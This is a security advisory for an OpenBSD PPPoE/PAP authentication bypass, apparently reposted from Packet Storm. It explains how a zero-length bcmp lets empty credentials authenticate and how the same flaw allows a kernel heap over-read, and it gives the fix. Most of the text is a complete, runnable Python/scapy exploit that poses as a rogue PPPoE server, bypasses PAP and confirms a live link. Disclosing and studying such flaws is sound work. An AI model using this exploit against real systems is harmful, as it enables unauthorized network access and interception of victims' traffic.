Share
## https://sploitus.com/exploit?id=PACKETSTORM:223967
------------------------------------------------------------------------
    OpenBSD sppp_pap_input: PAP Authentication Bypass via Zero-Length bcmp
    ------------------------------------------------------------------------
    
    Affected:  OpenBSD all versions through 7.6 (fixed in -current)
    Vendor:    OpenBSD
    Severity:  High
    Reporter:  Argus
    Date:      2026-06-16
    
    
    1. SUMMARY
    ==========
    
    The sppp_pap_input() function in sys/net/if_spppsubr.c uses the
    attacker-controlled name_len and passwd_len fields from the incoming
    PAP frame directly as the comparison length for bcmp() against
    configured credentials.
    
    When both fields are set to zero, bcmp() returns 0 unconditionally
    (bcmp with length 0 always succeeds). The existing upper-bound guard
    (> AUTHMAXLEN) allows zero through. As a result, a PAP Auth-Request
    with name_len=0 and passwd_len=0 passes credential validation and
    triggers a PAP_ACK, authenticating the peer without any knowledge of
    the configured username or password.
    
    A secondary kernel heap over-read exists via the same root cause:
    supplying a name_len larger than the allocation of the stored
    credential causes bcmp to read past the heap object.
    
    
    2. AFFECTED VERSIONS
    ====================
    
    The bcmp comparison pattern was introduced with the original sppp
    code import on 1999-07-01 (commit bda3414e, "lmc driver; ported by
    chris@dqc.org"). The zero-length bypass has been exploitable since
    that date.
    
    In February 2009 (commit 9c2f3d605fc), auth credential fields were
    changed from fixed-size struct arrays to dynamically allocated
    malloc(strlen()+1), and the bounds check was changed to
    > AUTHMAXLEN (256). This decoupled the allocation size from the
    comparison bound, enabling the heap over-read.
    
    Confirmed against OpenBSD 7.6 (amd64) in QEMU/KVM.
    
    
    3. DETAILS
    ==========
    
    Vulnerable code (sys/net/if_spppsubr.c, sppp_pap_input):
    
      if (name_len > AUTHMAXLEN ||
          passwd_len > AUTHMAXLEN ||
          bcmp(name, sp->hisauth.name, name_len) != 0 ||
          bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
              /* authentication failed */
    
    name_len and passwd_len are parsed directly from the PAP frame
    payload. bcmp(a, b, 0) always returns 0. The > AUTHMAXLEN guard
    rejects values above 255 but permits zero.
    
    The CHAP handler in the same file already had the correct pattern
    with an exact-length pre-check:
    
      if (name_len != strlen(sp->hisauth.name)
          || bcmp(name, sp->hisauth.name, name_len) != 0) {
    
    The PAP handler never received the same treatment.
    
    
    4. REACHABILITY
    ===============
    
    Both bugs are reachable via the PPPoE data path:
    
      pppoe_data_input -> pppoeintr -> sppp_input -> sppp_pap_input
    
    Precondition: the target system must be configured as a PAP
    authenticator (e.g. ifconfig pppoe0 peerproto pap peername <x>
    peerkey <y>). The attacker does not need to know any credentials.
    
    
    5. IMPACT
    =========
    
    An attacker on the same network segment can authenticate to a PPPoE
    interface without credentials, establishing a full network-layer
    link (LCP -> PAP -> IPCP -> IP).
    
    When OpenBSD acts as a PPPoE client with mutual authentication, a
    rogue server in the same broadcast domain can exploit the bypass to
    impersonate a legitimate server, causing OpenBSD to route traffic
    through the attacker's endpoint.
    
    
    6. PROOF OF CONCEPT
    ===================
    
    A Python PoC acts as a PPPoE server, completes discovery and
    LCP negotiation, then sends a PAP Auth-Request with name_len=0 and
    passwd_len=0.
    
    Result:
    
      PAP_ACK received with empty credentials
      VM accepted name_len=0, passwd_len=0 as valid auth.
    
      IPCP Config-Ack received - link is UP
      ICMP echo reply from 10.0.0.1
    
      FULL LINK ESTABLISHED
    
    PoC and full technical report:
      https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html
    
    
    7. FIX
    ======
    
    Fixed in -current by mvs on 2026-06-14. The fix mirrors the CHAP
    handler's exact-length pre-check:
    
      if (name_len != strlen(sp->hisauth.name) ||
          passwd_len != strlen(sp->hisauth.secret) ||
          bcmp(name, sp->hisauth.name, name_len) != 0 ||
          bcmp(passwd, sp->hisauth.secret, passwd_len) != 0) {
    
    Fix commit:
    https://github.com/openbsd/src/commit/076e2b1c1fc4ac0883a72d3544131ad5cee7adf8
    
    
    8. TIMELINE
    ===========
    
      2026-06-12  Reported to security@openbsd.org with PoC
      2026-06-14  Fix committed to -current
    
    
    9. CREDIT
    =========
    
    Discovered and reported by Argus (https://byteray.co.uk/).
    
    
    10. REFERENCES
    ==============
    
    Advisory:
      https://pop.argus-systems.ai/advisory/adv-038.html
    
    Blog post:
    https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html
    
    Proof of concept:
      https://pop.argus-systems.ai/attachments/poc-001-pap-bypass.py
    
    --- packet storm attached poc ---
    
    #!/usr/bin/env python3
    """
    PoC for report-001: PAP authentication bypass in sppp_pap_input (CWE-1023).
    
    This script acts as a PPPoE SERVER. The OpenBSD VM's pppoe0 is a PPPoE client
    with peerproto=pap, meaning it demands that the peer (us) authenticate via PAP.
    After LCP completes, we send a PAP Auth-Request with name_len=0, passwd_len=0.
    
    At if_spppsubr.c:3816, bcmp(name, sp->hisauth.name, 0) returns 0 regardless of
    the configured secret. The fail-branch is never taken, so PAP_ACK is sent and
    the link opens without valid credentials.
    
    After PAP_ACK the PoC completes IPCP and sends an ICMP echo to confirm full
    network-layer access through the rogue server.
    
    OpenBSD VM setup (as root):
      ifconfig pppoe0 create
      ifconfig pppoe0 pppoedev vio0
      ifconfig pppoe0 peerproto pap peername "testuser" peerkey "hunter2"
      ifconfig pppoe0 10.0.0.1 10.0.0.2 netmask 255.255.255.255 up
    
    Usage:
      sudo python3 poc-001-pap-bypass.py [--iface tap0]
    """
    
    import socket
    import struct
    import sys
    import argparse
    import random
    import time
    from scapy.all import (
        Ether, Raw, IP, ICMP, sendp, get_if_hwaddr, get_if_list, AsyncSniffer
    )
    
    ETH_DISC = 0x8863
    ETH_SESS = 0x8864
    
    PADI = 0x09
    PADO = 0x07
    PADR = 0x19
    PADS = 0x65
    
    TAG_SVC_NAME  = 0x0101
    TAG_AC_NAME   = 0x0102
    TAG_HOST_UNIQ = 0x0103
    
    PPP_LCP  = 0xc021
    PPP_PAP  = 0xc023
    PPP_IPCP = 0x8021
    PPP_IP   = 0x0021
    
    LCP_CONF_REQ = 1
    LCP_CONF_ACK = 2
    LCP_CONF_NAK = 3
    LCP_CONF_REJ = 4
    
    OPT_MAGIC = 0x05
    
    PAP_REQ = 1
    PAP_ACK = 2
    PAP_NAK = 3
    
    IPCP_CONF_REQ = 1
    IPCP_CONF_ACK = 2
    IPCP_CONF_NAK = 3
    IPCP_CONF_REJ = 4
    IPCP_OPT_ADDR = 3
    
    PING_ID = 0x1337
    
    
    # packet builders
    
    def pppoe_disc(src_mac, dst_mac, code, session_id, tags_bytes):
        hdr = struct.pack('>BBHH', 0x11, code, session_id, len(tags_bytes))
        return Ether(src=src_mac, dst=dst_mac, type=ETH_DISC) / Raw(hdr + tags_bytes)
    
    def tag(t, value=b''):
        return struct.pack('>HH', t, len(value)) + value
    
    def pppoe_sess(src_mac, dst_mac, session_id, ppp_proto, payload):
        pppoe_hdr = struct.pack('>BBHH', 0x11, 0x00, session_id, len(payload) + 2)
        ppp_hdr   = struct.pack('>H', ppp_proto)
        return Ether(src=src_mac, dst=dst_mac, type=ETH_SESS) / Raw(pppoe_hdr + ppp_hdr + payload)
    
    def lcp_pkt(code, ident, options=b''):
        return struct.pack('>BBH', code, ident, 4 + len(options)) + options
    
    def lcp_opt(opt_type, value):
        return struct.pack('>BB', opt_type, 2 + len(value)) + value
    
    def pap_req(ident, name=b'', password=b''):
        length = 6 + len(name) + len(password)
        return (struct.pack('>BBH', PAP_REQ, ident, length) +
                struct.pack('>B', len(name)) + name +
                struct.pack('>B', len(password)) + password)
    
    def ipcp_pkt(code, ident, options=b''):
        return struct.pack('>BBH', code, ident, 4 + len(options)) + options
    
    def ipcp_opt_addr(ip_str):
        return struct.pack('>BB', IPCP_OPT_ADDR, 6) + socket.inet_aton(ip_str)
    
    
    # parsers
    
    def parse_pppoe_disc(raw):
        if len(raw) < 6:
            return None
        ver_type, code, session_id, length = struct.unpack('>BBHH', raw[:6])
        tags = {}
        pos = 6
        while pos + 4 <= len(raw):
            t, l = struct.unpack('>HH', raw[pos:pos+4])
            v = raw[pos+4:pos+4+l]
            tags[t] = v
            pos += 4 + l
        return code, session_id, tags
    
    def parse_pppoe_sess(raw):
        if len(raw) < 8:
            return None
        _, _, session_id, _ = struct.unpack('>BBHH', raw[:6])
        ppp_proto = struct.unpack('>H', raw[6:8])[0]
        return session_id, ppp_proto, raw[8:]
    
    def parse_lcp(payload):
        if len(payload) < 4:
            return None
        code, ident, length = struct.unpack('>BBH', payload[:4])
        return code, ident, payload[4:length]
    
    
    # main state machine
    
    def run(iface, our_ip="10.0.0.2", peer_ip="10.0.0.1", timeout=300):
        src_mac    = get_if_hwaddr(iface)
        magic      = random.randint(1, 0xffffffff)
        session_id = random.randint(1, 0xfffe)
    
        state = {
            'phase': 'WAIT_PADI',
            'client_mac': None,
            'our_lcp_acked':  False,
            'their_lcp_acked': False,
            'pap_sent': False,
            'our_ipcp_acked':  False,
            'their_ipcp_acked': False,
            'ipcp_sent': False,
            'ping_sent': False,
            'lcp_id': 1,
            'pap_id': 1,
            'ipcp_id': 1,
        }
        result = {'done': False}
    
        def send_ipcp_req():
            opts = ipcp_opt_addr(our_ip)
            sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
                              ipcp_pkt(IPCP_CONF_REQ, state['ipcp_id'], opts)),
                  iface=iface, verbose=False)
            print(f"  IPCP Config-Request sent (addr={our_ip})")
    
        def maybe_send_ping():
            if state['our_ipcp_acked'] and state['their_ipcp_acked'] and not state['ping_sent']:
                state['ping_sent'] = True
                state['phase'] = 'UP'
                print(f"  IPCP open — link is UP (us={our_ip} peer={peer_ip})")
                print()
                print(f"  Sending ICMP echo to {peer_ip}...")
                raw_ip = bytes(IP(src=our_ip, dst=peer_ip, ttl=64) /
                               ICMP(type=8, code=0, id=PING_ID, seq=1))
                sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IP, raw_ip),
                      iface=iface, verbose=False)
    
        def handle(pkt):
            if result['done']:
                return
    
            raw     = bytes(pkt)
            eth_src = pkt.src if hasattr(pkt, 'src') else None
            etype   = pkt.type if hasattr(pkt, 'type') else 0
            payload = raw[14:]
    
            # PPPoE Discovery
            if etype == ETH_DISC:
                parsed = parse_pppoe_disc(payload)
                if not parsed:
                    return
                code, sid, tags = parsed
    
                if code == PADI and state['phase'] == 'WAIT_PADI':
                    print(f"  PADI from {eth_src}")
                    state['client_mac'] = eth_src
                    state['phase'] = 'WAIT_PADR'
                    pado_tags = (tag(TAG_SVC_NAME) +
                                 tag(TAG_AC_NAME, b'poc-ac') +
                                 tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b'')))
                    sendp(pppoe_disc(src_mac, eth_src, PADO, 0, pado_tags),
                          iface=iface, verbose=False)
                    print("  PADO sent")
    
                elif code == PADR and state['phase'] == 'WAIT_PADR':
                    if eth_src != state['client_mac']:
                        return
                    print("  PADR received")
                    state['phase'] = 'LCP'
                    pads_tags = (tag(TAG_SVC_NAME) +
                                 tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b'')))
                    sendp(pppoe_disc(src_mac, eth_src, PADS, session_id, pads_tags),
                          iface=iface, verbose=False)
                    print(f"  PADS sent session_id=0x{session_id:04x}")
                    opts = lcp_opt(OPT_MAGIC, struct.pack('>I', magic))
                    sendp(pppoe_sess(src_mac, eth_src, session_id, PPP_LCP,
                                      lcp_pkt(LCP_CONF_REQ, state['lcp_id'], opts)),
                          iface=iface, verbose=False)
                    print(f"  LCP Config-Request sent (magic=0x{magic:08x})")
    
            # PPPoE Session
            elif etype == ETH_SESS and state['phase'] not in ('WAIT_PADI', 'WAIT_PADR'):
                parsed = parse_pppoe_sess(payload)
                if not parsed:
                    return
                sid, proto, ppp_payload = parsed
                if sid != session_id:
                    return
    
                # LCP
                if proto == PPP_LCP and state['phase'] in ('LCP', 'AUTH'):
                    lcp = parse_lcp(ppp_payload)
                    if not lcp:
                        return
                    code, ident, options = lcp
    
                    if code == LCP_CONF_REQ:
                        auth_proto = None
                        pos = 0
                        while pos + 2 <= len(options):
                            ot, ol = options[pos], options[pos+1]
                            if ol < 2:
                                break
                            if ot == 0x03 and ol >= 4:
                                auth_proto = struct.unpack('>H', options[pos+2:pos+4])[0]
                            pos += ol
                        auth_str = (f" auth=0x{auth_proto:04x}" if auth_proto
                                    else " (no auth option)")
                        print(f"  LCP Config-Request from client (id={ident}){auth_str}, "
                              "sending Ack")
                        sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_LCP,
                                         lcp_pkt(LCP_CONF_ACK, ident, options)),
                              iface=iface, verbose=False)
                        state['their_lcp_acked'] = True
    
                    elif code == LCP_CONF_ACK:
                        print(f"  LCP Config-Ack received (id={ident})")
                        state['our_lcp_acked'] = True
    
                    elif code in (LCP_CONF_NAK, LCP_CONF_REJ):
                        print(f"  LCP Config-Nak/Rej (id={ident}) — resending minimal config")
                        state['lcp_id'] += 1
                        opts = lcp_opt(OPT_MAGIC, struct.pack('>I', magic))
                        sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_LCP,
                                         lcp_pkt(LCP_CONF_REQ, state['lcp_id'], opts)),
                              iface=iface, verbose=False)
    
                    if (state['our_lcp_acked'] and state['their_lcp_acked']
                            and not state['pap_sent']):
                        state['phase'] = 'AUTH'
                        state['pap_sent'] = True
                        print()
                        print("  LCP open — waiting for OpenBSD to enter "
                              "PHASE_AUTHENTICATE...")
                        time.sleep(0.5)
                        print("  Sending PAP Auth-Request with name_len=0, passwd_len=0")
                        sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_PAP,
                                         pap_req(state['pap_id'])),
                              iface=iface, verbose=False)
    
                # PAP
                elif proto == PPP_PAP and state['phase'] == 'AUTH':
                    if len(ppp_payload) < 4:
                        return
                    code, ident = ppp_payload[0], ppp_payload[1]
    
                    if code == PAP_ACK:
                        print()
                        print(" PAP_ACK received with empty credentials")
                        print("   VM accepted name_len=0, passwd_len=0 as valid auth.")
                        print()
                        state['phase'] = 'IPCP'
                        state['ipcp_sent'] = True
                        send_ipcp_req()
    
                    elif code == PAP_NAK:
                        print()
                        print(" NOT BYPASSED — PAP_NAK received")
                        result['done'] = True
    
                # IPCP
                elif proto == PPP_IPCP and state['phase'] in ('IPCP', 'UP'):
                    if len(ppp_payload) < 4:
                        return
                    code, ident = ppp_payload[0], ppp_payload[1]
                    length = struct.unpack('>H', ppp_payload[2:4])[0]
                    options = ppp_payload[4:length]
    
                    if code == IPCP_CONF_REQ:
                        print(f"  IPCP Config-Request from VM (id={ident}), sending Ack")
                        sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
                                         ipcp_pkt(IPCP_CONF_ACK, ident, options)),
                              iface=iface, verbose=False)
                        state['their_ipcp_acked'] = True
                        maybe_send_ping()
    
                    elif code == IPCP_CONF_ACK:
                        print(f"  IPCP Config-Ack received (id={ident})")
                        state['our_ipcp_acked'] = True
                        maybe_send_ping()
    
                    elif code in (IPCP_CONF_NAK, IPCP_CONF_REJ):
                        # Use suggested address from NAK if provided
                        new_ip = our_ip
                        if code == IPCP_CONF_NAK and len(options) >= 6:
                            if options[0] == IPCP_OPT_ADDR and options[1] == 6:
                                new_ip = socket.inet_ntoa(options[2:6])
                        print(f"  IPCP Config-Nak/Rej — retrying with addr={new_ip}")
                        state['ipcp_id'] += 1
                        opts = ipcp_opt_addr(new_ip)
                        sendp(pppoe_sess(src_mac, state['client_mac'], session_id, PPP_IPCP,
                                         ipcp_pkt(IPCP_CONF_REQ, state['ipcp_id'], opts)),
                              iface=iface, verbose=False)
    
                # IP (ping reply)
                elif proto == PPP_IP and state['phase'] == 'UP':
                    try:
                        ip = IP(ppp_payload)
                        if ip.proto == 1:
                            icmp = ip[ICMP]
                            if icmp.type == 0 and icmp.id == PING_ID:
                                print(f"  ICMP echo reply from {ip.src}")
                                print()
                                print(" FULL LINK ESTABLISHED")
                                result['done'] = True
                    except Exception:
                        pass
    
        sniffer = AsyncSniffer(
            iface=iface, timeout=timeout,
            lfilter=lambda p: p.haslayer('Ether') and
                              p['Ether'].type in (ETH_DISC, ETH_SESS) and
                              p['Ether'].src != src_mac,
            prn=handle
        )
        sniffer.start()
        print(f"Listening on {iface} for PPPoE client (PADI)... (timeout={timeout}s)")
    
        sniffer.join(timeout=timeout)
    
        if not result['done']:
            print("\nTimeout.")
            phase = state['phase']
            if phase == 'WAIT_PADI':
                print("  No PADI received.")
            elif phase == 'WAIT_PADR':
                print("  Got PADI/sent PADO but no PADR.")
            elif phase == 'LCP':
                print(f"  Stuck in LCP. our={state['our_lcp_acked']} "
                      f"their={state['their_lcp_acked']}")
            elif phase == 'AUTH':
                print("  LCP open but no PAP response.")
            elif phase == 'IPCP':
                print(f"  PAP bypassed but stuck in IPCP. "
                      f"our={state['our_ipcp_acked']} their={state['their_ipcp_acked']}")
            elif phase == 'UP':
                print("  IPCP open but no ICMP reply.")
    
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("--iface",    default="tap0")
        parser.add_argument("--our-ip",  default="10.0.0.2")
        parser.add_argument("--peer-ip", default="10.0.0.1")
        parser.add_argument("--timeout", default=300, type=int,
                            help="seconds to wait for PADI (default: 300)")
        args = parser.parse_args()
    
        if args.iface not in get_if_list():
            print(f"ERROR: interface {args.iface} not found", file=sys.stderr)
            sys.exit(1)
    
        run(args.iface, args.our_ip, args.peer_ip, args.timeout)
    
    
    if __name__ == "__main__":
        main()